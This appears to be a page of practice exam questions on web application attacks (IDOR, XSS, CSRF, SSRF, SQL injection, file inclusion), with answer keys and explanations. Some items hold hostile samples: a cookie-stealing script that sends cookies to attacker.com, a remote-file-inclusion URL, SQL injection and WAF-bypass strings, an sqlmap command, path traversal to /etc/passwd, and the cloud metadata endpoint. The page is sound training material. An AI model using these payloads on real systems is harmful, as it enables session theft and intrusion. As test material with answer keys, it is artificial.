Clickjacking attacks trick users into clicking on a hidden or disguised element on a page that is embedded in a malicious frame. The Content Security Policy (CSP) directive 'frame-ancestors' is a modern and effective defense against clickjacking. It allows the server to specify which origins are permitted to embed the page in frames, providing granular control.

For example, 'frame-ancestors none' blocks all embedding, while 'frame-ancestors self' allows same-origin framing only. This directive supersedes the older X-Frame-Options header, which only supports DENY or SAMEORIGIN and is less flexible. Therefore, CSP with 'frame-ancestors' is the correct choice among the given options.

117
MCQmedium

A security analyst notices that a web application uses sequential numeric IDs for user accounts (e.g., /profile?id=1001). By changing the ID to 1002, the analyst can view another user's profile. Which vulnerability is present?

A.SQL injection
B.IDOR
C.Directory traversal
D.CSRF
AnswerB

Insecure Direct Object Reference (IDOR) vulnerabilities arise when an application exposes a direct reference to an internal implementation object, such as a file, directory, or database record, without sufficient authorization checks. By simply changing a numeric ID in the URL, the security analyst is directly accessing another object that they should not be authorized to view or modify, demonstrating a clear failure in access control for that specific resource.

Why this answer

This is an IDOR (Insecure Direct Object Reference) vulnerability, where direct access to objects is not properly restricted.

118
MCQeasy

Which of the following is a common indicator of a stored (persistent) Cross-Site Scripting (XSS) attack?

A.A script executes in the victim's browser without any server interaction
B.A script is permanently stored on the server and executed when users view a page
C.A script is executed when a user submits a form with malicious input
D.A script executes only after clicking a manipulated URL
AnswerB

Stored XSS persists on the server and affects all users viewing the content.

Why this answer

Stored (persistent) XSS occurs when malicious script is permanently stored on the server (e.g., in a database, comment field, or forum post) and is served to every user who views the affected page. The script executes in the victim's browser without requiring any additional interaction, as it is part of the page's HTML response from the server.

Exam trap

The trap here is that candidates confuse stored XSS with reflected XSS, mistakenly thinking that any script execution without user interaction (Option A) is stored XSS, when in fact stored XSS specifically requires the payload to be persisted on the server and served to multiple users.

How to eliminate wrong answers

Option A is wrong because it describes reflected XSS or DOM-based XSS, where the script executes without server interaction (e.g., via client-side JavaScript manipulation), but stored XSS requires the server to serve the stored payload. Option C is wrong because it describes a reflected XSS scenario where the script executes immediately upon form submission, not after being stored and later retrieved. Option D is wrong because it describes reflected XSS where the payload is in a manipulated URL and executes only after the victim clicks that link, not a persistent server-side storage.

119
MCQeasy

Which of the following is the BEST defense against Cross-Site Request Forgery (CSRF) attacks?

A.SameSite cookies
B.Input validation
C.Output encoding
D.CSRF tokens
AnswerD

CSRF tokens are unique, unpredictable, and secret values generated by the server and embedded into forms or URLs for state-changing operations. When a user submits a request, the server verifies that the token included in the request matches the one stored in the user's session. This mechanism effectively prevents CSRF attacks because an attacker cannot forge a valid request without knowing the user's unique, session-specific token, which is not accessible to them.

Why this answer

CSRF tokens are unique, unpredictable tokens that validate that requests originate from the legitimate site, effectively mitigating CSRF.

120
MCQmedium

A penetration tester finds that a web application includes files based on user input without proper validation. The tester supplies 'http://attacker.com/malicious.txt' and the application includes its content. Which vulnerability is this?

A.Directory traversal
B.Remote File Inclusion (RFI)
C.Local File Inclusion (LFI)
D.Server-Side Request Forgery (SSRF)
AnswerB

Remote File Inclusion (RFI) occurs when a web application dynamically includes a file from a remote server, typically specified by a URL in user-controlled input. This vulnerability allows an attacker to inject and execute malicious code hosted on their own server within the context of the vulnerable web application. The application fetches the remote file (e.g., via HTTP) and processes its content as if it were a local script, leading to potential arbitrary code execution.

Why this answer

Including a remote file from an attacker-controlled server is Remote File Inclusion (RFI).

121
Multi-Selecthard

A pentester uses Burp Suite's Intruder to perform a brute-force attack on a login form. Which TWO of the following Intruder attack types would be appropriate for testing different payload combinations?

Select 2 answers
A.Pitchfork
B.Sniper
C.Direct
D.Cluster bomb
E.Battering ram
AnswersA, D

Pitchfork is a correct attack type, particularly useful when multiple payload positions need to be tested with corresponding values from different payload sets. This mode uses multiple payload sets, but unlike Cluster Bomb, it pairs payloads from each set in a one-to-one fashion. For instance, the first payload from set 1 is used with the first payload from set 2, and so on, making it ideal for scenarios like testing correlated username/password lists or sequential data.

Why this answer

For testing different payload combinations, you need multiple payload sets. Pitchfork uses multiple payload sets and pairs them position-by-position, testing different combinations where each set provides distinct values. Cluster bomb uses multiple payload sets and tests every possible combination across all positions, which is ideal for brute-force attacks on login forms.

Sniper and Battering ram use a single payload set and are not appropriate for testing different combinations.

122
Multi-Selectmedium

During a web application penetration test, a tester discovers a file inclusion vulnerability. Which THREE of the following are potential impacts or exploitation scenarios? (Choose THREE.)

Select 3 answers
A.Disclosure of sensitive files like /etc/passwd
B.Remote code execution via log poisoning
C.Port scanning of internal network hosts
D.Denial of service by including large files
E.Session hijacking by including session files
AnswersA, B, E

Local File Inclusion (LFI) vulnerabilities allow an attacker to read arbitrary files from the server's file system. By manipulating the vulnerable parameter with paths like /etc/passwd or /etc/shadow, an attacker can directly access and disclose critical system configuration files, user credentials, or application source code. This exposure of sensitive data is a primary and direct impact of LFI, providing valuable information for further exploitation.

Why this answer

LFI can lead to remote code execution (via log poisoning), local file disclosure (e.g., /etc/passwd), and session hijacking (by including session files). Port scanning is not a direct impact of file inclusion.

123
MCQmedium

A web developer wants to mitigate CSRF attacks. Which of the following configurations for cookies is most effective when combined with CSRF tokens?

A.HttpOnly flag
B.SameSite=Strict
C.Domain attribute
D.Secure flag
AnswerB

The SameSite=Strict attribute is a powerful defense against CSRF attacks by instructing the browser to only send the cookie with requests originating from the same site as the cookie's domain. This means if a user is logged into `example.com` and then visits `malicious.com`, any requests `malicious.com` attempts to make back to `example.com` will not include the session cookie. Consequently, the malicious request will not be authenticated, effectively preventing the forgery.

Why this answer

SameSite=Strict prevents the browser from sending cookies for cross-site requests, which blocks CSRF attacks.

124
MCQmedium

Which of the following is the most effective defense against Cross-Site Request Forgery (CSRF) attacks?

A.Content Security Policy (CSP)
B.CSRF tokens
C.Rate limiting
D.Input validation
AnswerB

CSRF tokens are the most effective defense against Cross-Site Request Forgery (CSRF) attacks. These unique, unpredictable, and secret values are generated server-side for each user session and embedded within critical state-changing requests, such as form submissions. The server then validates the presence and correctness of this token upon receiving the request, ensuring that the request originated from the legitimate application and not from an attacker's malicious site.

Why this answer

CSRF tokens are the most effective defense because they are unique, unpredictable values embedded in each form or request that the server validates. Without a valid token, the server rejects the request, preventing an attacker from forging a legitimate user's action even if the victim is authenticated.

Exam trap

EC-Council often tests the misconception that input validation or CSP can prevent CSRF, when in fact CSRF exploits the browser's automatic inclusion of credentials (cookies) and requires a server-side token or SameSite cookie attribute to verify request intent.

How to eliminate wrong answers

Option A is wrong because Content Security Policy (CSP) is primarily designed to mitigate XSS and data injection attacks by controlling resource loading, not to validate the origin or authenticity of state-changing requests. Option C is wrong because rate limiting only reduces the speed of repeated attacks but does not prevent a single forged request from being executed. Option D is wrong because input validation (e.g., sanitizing or escaping user input) addresses injection attacks like SQLi or XSS, not the lack of origin verification that CSRF exploits.

125
Multi-Selecthard

A penetration tester is performing a check for HTTP response splitting. Which THREE of the following conditions must be present for this attack to succeed?

Select 3 answers
A.The application reflects user input in the HTTP response headers
B.The application reflects user input in the HTTP response body
C.The application uses HTTPS exclusively
D.The attacker can inject multiple header lines to create a second HTTP response
E.The application does not sanitize or encode CRLF sequences (%0d%0a)
AnswersA, D, E

For HTTP Response Splitting to occur, user-supplied input containing CRLF sequences must be directly incorporated into an HTTP response header. This allows an attacker to terminate the current header line and inject new, arbitrary header fields or even an entirely new response body. Without this direct reflection in the headers, the injected CRLF sequences would not be interpreted as control characters for the HTTP protocol, making the attack impossible.

Why this answer

HTTP response splitting requires that attacker input is reflected in the response headers (e.g., via CRLF injection). The application must not sanitize CRLF sequences. The attacker can then inject headers to separate the response into two HTTP responses, enabling cache poisoning or XSS.

126
Multi-Selectmedium

Which TWO of the following are effective defenses against SQL injection attacks?

Select 2 answers
A.Implementing stored procedures with dynamic SQL
B.Disabling error messages
C.Using an ORM that generates parameterized queries
D.Using prepared statements with parameterized queries
E.Escaping user input with addslashes()
AnswersC, D

Object-Relational Mappers (ORMs) provide an effective defense against SQL injection by abstracting database interactions and typically generating parameterized queries. Instead of concatenating user input directly into SQL strings, ORMs bind input values as parameters, ensuring they are treated as data and not executable code. This fundamental separation prevents malicious input from altering the query's structure, thereby neutralizing injection attempts.

Why this answer

Prepared statements (parameterized queries) and stored procedures (if properly parameterized) prevent SQL injection by separating data from code.

127
MCQmedium

A penetration tester attempts a SQL injection on a login form and receives no error messages, but notices a delay in the server response when injecting ' OR SLEEP(5)--. Which type of SQL injection is this?

A.Union-based SQL injection
B.Boolean-based blind SQL injection
C.Time-based blind SQL injection
D.Error-based SQL injection
AnswerC

Time-based blind SQL injection is the appropriate technique when the application provides no direct output and no discernible boolean difference in its responses. This method relies on making the database server pause for a specific duration (e.g., using `SLEEP()`, `WAITFOR DELAY`, or `PG_SLEEP()`) if a particular injected condition is met. By measuring the time taken for the server to respond, the penetration tester can infer the truthfulness of conditions and extract data character by character.

Why this answer

Time-based blind SQL injection relies on inducing a time delay to infer the truth of a condition, as no error or data is returned.

128
MCQmedium

Which of the following best describes a Server-Side Request Forgery (SSRF) attack?

A.An attacker tricks the server into making requests to internal or external resources
B.An attacker sends a malicious script that executes in a user's browser
C.An attacker forges HTTP requests to perform actions on behalf of an authenticated user
D.An attacker injects SQL commands into a database query
AnswerA

Server-Side Request Forgery (SSRF) occurs when an attacker exploits a vulnerability in a web application to compel the server itself to make arbitrary requests. These requests can target internal network resources, such as other services, databases, or cloud metadata APIs, which are typically inaccessible directly from the internet. The server acts as a proxy, fetching data or performing actions on behalf of the attacker, often bypassing firewall rules and network segmentation. This allows for reconnaissance, port scanning, and even direct interaction with sensitive internal systems.

Why this answer

A Server-Side Request Forgery (SSRF) attack occurs when an attacker manipulates a vulnerable server into making HTTP requests to arbitrary destinations, often bypassing network segmentation to access internal resources (e.g., 127.0.0.1, RFC 1918 addresses) or external services. The server acts as a proxy, allowing the attacker to interact with systems that are not directly reachable, such as cloud metadata endpoints (e.g., AWS http://169.254.169.254/latest/meta-data/) or internal databases.

Exam trap

The trap here is that candidates often confuse SSRF with CSRF (Option C) because both involve forged requests, but SSRF targets the server's ability to make requests to internal resources, while CSRF targets the user's browser to perform actions on their behalf.

How to eliminate wrong answers

Option B is wrong because it describes Cross-Site Scripting (XSS), where malicious scripts execute in a user's browser, not server-side requests. Option C is wrong because it describes Cross-Site Request Forgery (CSRF), where an attacker forges requests to perform actions on behalf of an authenticated user, but the server is tricked into sending requests to internal resources, not the user's browser. Option D is wrong because it describes SQL injection, where malicious SQL commands are injected into a database query, not HTTP requests made by the server.

129
MCQeasy

Which OWASP Top 10 (2021) category describes the vulnerability where an application allows an attacker to include a remote file from an external server, leading to code execution or data disclosure?

A.Security Misconfiguration (A05:2021)
B.Injection (A03:2021)
C.Broken Access Control (A01:2021)
D.Cryptographic Failures (A02:2021)
AnswerB

Injection vulnerabilities occur when untrusted data is sent to an interpreter as part of a command or query without proper validation or sanitization. This allows an attacker to trick the interpreter into executing unintended commands, accessing unauthorized data, or including arbitrary files. Remote File Inclusion (RFI) is a prime example, where an attacker can force the application to include and execute malicious remote files, often leading to remote code execution.

Why this answer

Injection (A03:2021) covers various injection flaws, including Remote File Inclusion (RFI). RFI is a type of injection where user input is used to include a remote file, leading to code execution.

130
MCQmedium

A penetration tester uses SQLMap with the following command: sqlmap -u 'http://target.com/page?id=1' --batch --dbs. Which of the following best describes what this command will do?

A.Enumerate all database names in non-interactive mode
B.Dump the entire contents of the current database
C.Perform a time-based blind SQL injection to extract data
D.Enumerate all tables in all databases
AnswerA

The `--dbs` option explicitly instructs sqlmap to enumerate and display the names of all accessible databases on the target system by querying the database's information schema or system tables. Concurrently, the `--batch` option ensures that sqlmap operates in a non-interactive mode, automatically accepting default choices and proceeding without requiring user input for any prompts or questions that might arise during the enumeration process. This combination efficiently retrieves database names without interruption, which is ideal for automated scripting.

Why this answer

--dbs enumerates database names; --batch uses default options without interactive input.

131
MCQeasy

Which Burp Suite tool is specifically designed to intercept and modify HTTP(S) traffic between the browser and the target web application?

A.Intruder
B.Scanner
C.Repeater
D.Proxy
AnswerD

Burp Proxy is the core interception component of Burp Suite, acting as a man-in-the-middle between the browser and the target web server. It is specifically designed to capture all HTTP and HTTPS traffic flowing through it, allowing security professionals to view, analyze, and modify requests and responses in real-time before they reach their destination. This real-time interception capability is fundamental for understanding application logic, identifying vulnerabilities, and manipulating data during penetration testing.

Why this answer

Burp Proxy is the component that intercepts and allows modification of requests/responses in transit.

132
MCQmedium

A web application tester notices that the application reflects user input in the URL without proper encoding. The tester submits a payload <script>alert('xss')</script> in a search field and the script executes in the browser. Which type of XSS vulnerability is this MOST likely?

A.Blind XSS
B.Reflected XSS
C.Stored (persistent) XSS
D.DOM-based XSS
AnswerB

Reflected XSS occurs when a malicious script injected into an HTTP request is immediately returned in the server's HTTP response without being permanently stored. The payload is non-persistent, executing only once in the victim's browser as part of that specific request and response cycle. The observation that the application 'reflects' the input directly aligns with this immediate, one-time execution characteristic, making it the correct answer.

Why this answer

Reflected XSS occurs when user input is immediately returned by the server in the response without proper sanitization. The script executes once and is not stored, distinguishing it from stored XSS. DOM-based XSS would involve client-side JavaScript manipulation without server reflection.

133
MCQmedium

A web application is vulnerable to server-side request forgery (SSRF). An attacker sends a request that causes the server to make an internal HTTP request to http://169.254.169.254/latest/meta-data/. What is the attacker attempting to achieve?

A.Exploit a command injection vulnerability in the web server
B.Access the cloud instance metadata to obtain temporary credentials
C.Perform a denial-of-service attack on the internal network
D.Perform a port scan on the internal network
AnswerB

This is the most common and impactful exploitation path for SSRF when targeting cloud environments. Cloud providers like AWS, GCP, and Azure expose local metadata services (e.g., http://169.254.169.254 for AWS EC2) that provide critical information about the running instance, including temporary security credentials (IAM roles), network configuration, and user data. By leveraging SSRF to access these endpoints, an attacker can obtain sensitive credentials, potentially escalating privileges and gaining access to other cloud resources.

Why this answer

169.254.169.254 is the metadata IP address for cloud providers like AWS. The attacker is trying to retrieve instance metadata, which may contain credentials (e.g., IAM role credentials).

134
MCQmedium

Which of the following describes a Server-Side Request Forgery (SSRF) attack?

A.An attacker tricks a user into clicking a link that executes unwanted actions on a web application where the user is authenticated.
B.An attacker injects malicious scripts into a web page that executes in other users' browsers.
C.An attacker forces the web server to make HTTP requests to arbitrary destinations, potentially accessing internal resources.
D.An attacker manipulates input to execute system commands on the server.
AnswerC

This precisely defines Server-Side Request Forgery (SSRF), a vulnerability where a web application is tricked into making HTTP requests to an attacker-specified location. The server, acting on behalf of the attacker, can then access internal network resources, metadata services, or other systems that are typically inaccessible from the external internet. This allows for internal network reconnaissance, port scanning, and potential data exfiltration by bypassing firewall restrictions.

Why this answer

SSRF occurs when an attacker can induce the server to make HTTP requests to internal or external resources. This can lead to accessing internal services (e.g., cloud metadata endpoints) that are not normally accessible from the outside.

135
MCQmedium

A penetration tester uses Burp Suite Repeater to manually modify and resend HTTP requests to a web server. In which phase of the testing methodology is this tool most commonly employed?

A.Reconnaissance
B.Reporting
C.Exploitation
D.Scanning and enumeration
AnswerC

Exploitation involves leveraging identified vulnerabilities to achieve a specific objective, such as gaining unauthorized access, escalating privileges, or exfiltrating sensitive data. Burp Suite Repeater is an indispensable tool for this phase, allowing testers to meticulously modify request parameters, headers, or body content with crafted payloads. This precision enables the confirmation and exploitation of vulnerabilities like SQL injection, cross-site scripting, or authentication bypasses by observing the server's direct, often vulnerable, responses.

Why this answer

Burp Suite Repeater is used to manually craft and reissue requests, typically during the exploitation phase after identifying potential vulnerabilities. It allows testing parameter manipulation, injection payloads, and observing responses.

136
MCQmedium

A web application allows users to upload profile images. An attacker uploads a file named 'image.php.png' with malicious PHP code, and the server executes it as PHP. Which type of vulnerability is this?

A.Directory traversal
B.Command injection
C.SQL injection
D.Unrestricted file upload
AnswerD

Unrestricted file upload is the correct answer because it directly describes the vulnerability where a web application allows users to upload files without adequately validating their type, size, or content. This critical flaw enables an attacker to upload malicious files, such as web shells or scripts, to the server. Once uploaded, these files can often be executed by the web server, leading to severe consequences like remote code execution, server compromise, or defacement.

Why this answer

Unrestricted file upload vulnerabilities allow attackers to upload executable files if the server does not validate the file type or execute permissions.

137
MCQhard

A web application firewall (WAF) blocks requests containing ' UNION SELECT '. A penetration tester wants to bypass this restriction to perform a union-based SQL injection. Which of the following techniques is MOST likely to succeed?

A.Use double URL encoding: '%25%35%35%25%34%65%25%34%39...'
B.Use hex encoding: '0x554e494f4e2053454c454354'
C.Use URL encoding: '%55%4e%49%4f%4e%20%53%45%4c%45%43%54'
D.Use inline comments: 'UN/**/ION/**/SE/**/LECT'
AnswerD

Inline comments, like '/**/', are valid SQL syntax that allows arbitrary text to be inserted without affecting query execution. By strategically placing these comments within keywords (e.g., 'UN/**/ION'), an attacker can break up the signature of a known malicious string (e.g., "UNION SELECT") into smaller, non-matching fragments. This technique effectively bypasses WAFs that rely on simple, exact string matching or regular expressions that do not account for such obfuscation, as the WAF sees 'UN', then '/**/', then 'ION', rather than the full "UNION" keyword.

Why this answer

Using comments or alternative encoding can bypass WAF rules. Inline comments like '/**/' can break up keywords.

138
MCQeasy

A security analyst notices that a web application returns different page sizes when a valid user ID is submitted versus an invalid one in the URL parameter. Which type of vulnerability is most likely being exploited?

A.Stored Cross-Site Scripting (XSS)
B.Insecure Direct Object Reference (IDOR)
C.Cross-Site Request Forgery (CSRF)
D.SQL Injection
AnswerB

Insecure Direct Object Reference (IDOR) occurs when an application exposes a direct reference to an internal implementation object, such as a file, directory, database record, or key, and fails to implement proper authorization checks. An attacker can manipulate these references, often found in URL parameters or API requests, to access resources belonging to other users or entities without explicit permission. This directly matches the scenario where an analyst changes an ID to view different responses, indicating a bypass of access controls.

Why this answer

This is a classic indicator of an Insecure Direct Object Reference (IDOR) vulnerability, where an attacker can enumerate valid IDs by observing differences in responses.

139
Multi-Selecteasy

A web application is vulnerable to XML External Entity (XXE) injection. Which THREE of the following are potential impacts of successfully exploiting an XXE vulnerability?

Select 3 answers
A.SQL injection
B.Arbitrary file read on the server
C.Denial of Service (DoS)
D.Server-Side Request Forgery (SSRF)
E.Remote code execution via command injection
AnswersB, C, D

XXE vulnerabilities allow an attacker to define external entities that reference local files on the server using the `file://` URI scheme. When the XML parser processes this entity, it attempts to retrieve the content of the specified file, such as `/etc/passwd` or application configuration files. This content is then embedded into the XML response, enabling the attacker to read sensitive system files.

Why this answer

XXE can be used for reading local files (e.g., /etc/passwd), performing SSRF by making the server issue requests, and causing denial of service (e.g., billion laughs attack).

140
Multi-Selecthard

A security analyst is reviewing a web application log and sees the following request: GET /page?file=../../../etc/passwd HTTP/1.1. Which TWO vulnerabilities are most likely being attempted? (Select two)

Select 2 answers
A.Directory traversal
B.Remote file inclusion (RFI)
C.SQL injection
D.Local file inclusion (LFI)
E.Command injection
AnswersA, D

Directory traversal, also known as path traversal, is an attack that exploits insufficient security validation or sanitization of user-supplied input to access files and directories stored outside the intended web root directory. The `../` sequence, or its URL-encoded equivalent `%2e%2e%2f`, allows an attacker to navigate up the directory hierarchy. By chaining multiple `../` sequences, an attacker can potentially access sensitive system files like `/etc/passwd` or configuration files, thereby compromising the system's confidentiality.

Why this answer

The request uses '../' to traverse directories (directory traversal) and attempts to read the /etc/passwd file, which is also a local file inclusion (LFI) attempt if the application includes files.

141
MCQmedium

A penetration tester is assessing a web application and notices that the application reflects the User-Agent header in the response body without sanitization. What attack could be performed using this behavior?

A.Cross-Site Scripting (XSS)
B.Directory traversal
C.Server-Side Request Forgery (SSRF)
D.SQL injection
AnswerA

If a web application reflects unsanitized user-controlled input, such as the User-Agent HTTP header, directly into the HTML response, it creates a reflected Cross-Site Scripting (XSS) vulnerability. An attacker can inject malicious client-side scripts (e.g., JavaScript) into the User-Agent string. When another user's browser renders this page, the injected script executes within their browser's security context, potentially leading to session hijacking, defacement, or redirection.

Why this answer

Reflecting unsanitized input in HTTP headers can lead to reflected XSS.

142
MCQmedium

An attacker performs a password spraying attack against a web application. Which of the following BEST describes this technique?

A.Using a list of compromised credentials from a data breach
B.Trying many passwords for a single account
C.Trying a few common passwords against many accounts
D.Using automated tools to bypass CAPTCHA
AnswerC

This is the precise definition of a password spraying attack. Attackers employ this technique by taking a small list of commonly used passwords (e.g., 'Password123', 'Summer2023!') and attempting each of these passwords against a large number of different user accounts within the same system. The primary goal is to avoid triggering account lockout thresholds, which are typically set per-account, by only attempting one or two passwords per user before moving on to the next account.

Why this answer

Password spraying uses a few common passwords against many accounts to avoid account lockout.

143
MCQeasy

Which of the following tools is primarily used for automated SQL injection exploitation and database fingerprinting?

A.SQLMap
B.Nmap
C.Burp Suite
D.John the Ripper
AnswerA

SQLMap is designed for automated SQL injection.

Why this answer

SQLMap is the industry-standard tool for automating SQL injection detection and exploitation.

144
MCQmedium

In Burp Suite, which tool is used to modify and resend individual HTTP requests to observe responses, allowing manual testing of input validation and parameter manipulation?

A.Repeater
B.Proxy
C.Scanner
D.Intruder
AnswerA

The Repeater tool in Burp Suite is specifically designed for manually modifying and reissuing individual HTTP requests. It allows security testers to fine-tune request parameters, headers, or body content and observe the server's response in real-time. This iterative process is crucial for exploring application logic, testing for specific vulnerabilities, or confirming exploit conditions step-by-step.

Why this answer

Burp Repeater is designed for manually crafting and resending requests to see individual responses, ideal for testing parameter handling.

145
Multi-Selecthard

During a penetration test, a tester observes that a web application's login form does not implement rate limiting and returns different error messages for valid vs invalid usernames. Which THREE attacks are most likely to be successful? (Select three)

Select 3 answers
A.Directory traversal
B.Credential stuffing
C.Brute-force attack
D.SQL injection
E.Password spraying
AnswersB, C, E

Credential stuffing is a highly effective attack where threat actors automate login attempts using large lists of username and password pairs previously compromised in data breaches from other services. If the web application allows valid usernames to be tested against these breached password lists without adequate detection or rate limiting, it becomes vulnerable to users who reuse their credentials across multiple platforms. This leverages the common user habit of password reuse.

Why this answer

With username enumeration and no rate limiting, brute force (trying many passwords on one user), credential stuffing (using breached credentials), and password spraying (trying common passwords across many users) are all viable. SQL injection is not directly related to the described conditions.

146
MCQhard

After a security incident, logs show repeated login attempts from different IP addresses using a list of common passwords against a single username. Which attack technique is being used?

A.Credential stuffing
B.Brute force attack
C.Password spraying
D.Dictionary attack
AnswerC

Password spraying is a sophisticated attack technique where a small number of very common passwords are systematically tried against a *large number of different user accounts* or a single account from *many different IP addresses*. This method is specifically designed to evade account lockout thresholds by distributing attempts across many targets or sources, preventing any single account or IP from exceeding the lockout limit. The 'repeated login attempts' observed in logs align perfectly with this strategy, as attackers aim to find weak passwords without triggering immediate detection.

Why this answer

Password spraying uses a small set of common passwords against many accounts or, as in this case, against a single account from multiple IPs to avoid lockout.

147
MCQmedium

A security analyst notices that after submitting a form on a web application, the URL changes to include the user's ID parameter, e.g., 'user?id=123'. The analyst modifies the ID in the URL and accesses another user's profile without authorization. Which type of vulnerability is being exploited?

A.Reflected Cross-Site Scripting (XSS)
B.Command Injection
C.Cross-Site Request Forgery (CSRF)
D.Insecure Direct Object Reference (IDOR)
AnswerD

Insecure Direct Object Reference (IDOR) occurs when an application exposes a direct reference to an internal implementation object, such as a file, database key, or directory, and fails to implement proper authorization checks. An attacker can manipulate these references, often found in URL parameters, form fields, or API requests, to access or modify resources belonging to other users or unauthorized data. This vulnerability directly exploits the application's trust in user-supplied object identifiers without verifying the user's permission to access that specific object, leading to unauthorized information disclosure or modification.

Why this answer

This is an Insecure Direct Object Reference (IDOR) vulnerability, where the application exposes internal object references (like user IDs) without proper access control checks.

148
MCQmedium

A security analyst observes that a web application allows users to submit feedback, and after submission, the feedback is displayed on a public page. An attacker submits feedback containing the script: <script>document.location='http://attacker.com/?c='+document.cookie</script>. When an admin views the public page, the script executes. Which type of attack occurred?

A.Reflected XSS
B.Cross-site request forgery (CSRF)
C.DOM-based XSS
D.Stored XSS
AnswerD

Stored XSS, also known as persistent XSS, occurs when a malicious script is permanently saved on the target server, typically within a database, comment section, or user profile. When a victim's browser requests the page containing this stored payload, the server retrieves the malicious script and delivers it as part of the legitimate web page content. Consequently, the victim's browser executes the script, allowing the attacker to steal cookies, deface the website, or redirect users, making it a highly impactful and widespread attack.

Why this answer

The script is stored on the server (feedback) and executed when the admin views the page. This is persistent (stored) XSS.

149
Multi-Selectmedium

Which TWO of the following are characteristics of a reflected Cross-Site Scripting (XSS) attack? (Select 2)

Select 2 answers
A.The attack is typically delivered through a crafted link
B.The script executes in the server-side context
C.The attack affects all users who visit the compromised page without any interaction
D.The malicious script is reflected off the web server in the response
E.The malicious script is permanently stored on the server
AnswersA, D

Reflected Cross-Site Scripting (XSS) attacks are typically initiated when an attacker crafts a malicious URL containing the injected script and then tricks a victim into clicking it. This delivery mechanism is crucial because the malicious payload is not persistently stored on the server. Instead, the victim's browser sends the crafted URL to the vulnerable web application, which then reflects the script back in the immediate HTTP response, executing it in the victim's browser context.

Why this answer

Reflected XSS requires user interaction (clicking a link) and does not persist on the server.

150
MCQhard

An analyst reviews a web server log and sees the following request: GET /search?q=<script>alert('xss')</script> HTTP/1.1. The response from the server includes the search term inside a <div> tag without any sanitization. Which type of XSS vulnerability does this indicate?

A.Stored XSS
B.Reflected XSS
C.DOM-based XSS
D.Blind XSS
AnswerB

Reflected Cross-Site Scripting (XSS) occurs when a malicious script, typically injected through a URL parameter or form input, is immediately processed by the server and returned within the HTTP response to the user's browser without proper sanitization. The script is not stored on the server; instead, it "reflects" off the server back to the user who made the request. The web server log showing the script directly in the request and implying an immediate response aligns perfectly with this non-persistent, server-side reflection mechanism.

Why this answer

This is a typical reflected XSS because the malicious script is injected via a GET parameter and immediately reflected in the response without persistent storage.

← PreviousPage 2 of 3 · 158 questions totalNext →

Ready to test yourself?

Try a timed practice session using only Web Application and Injection Attacks questions.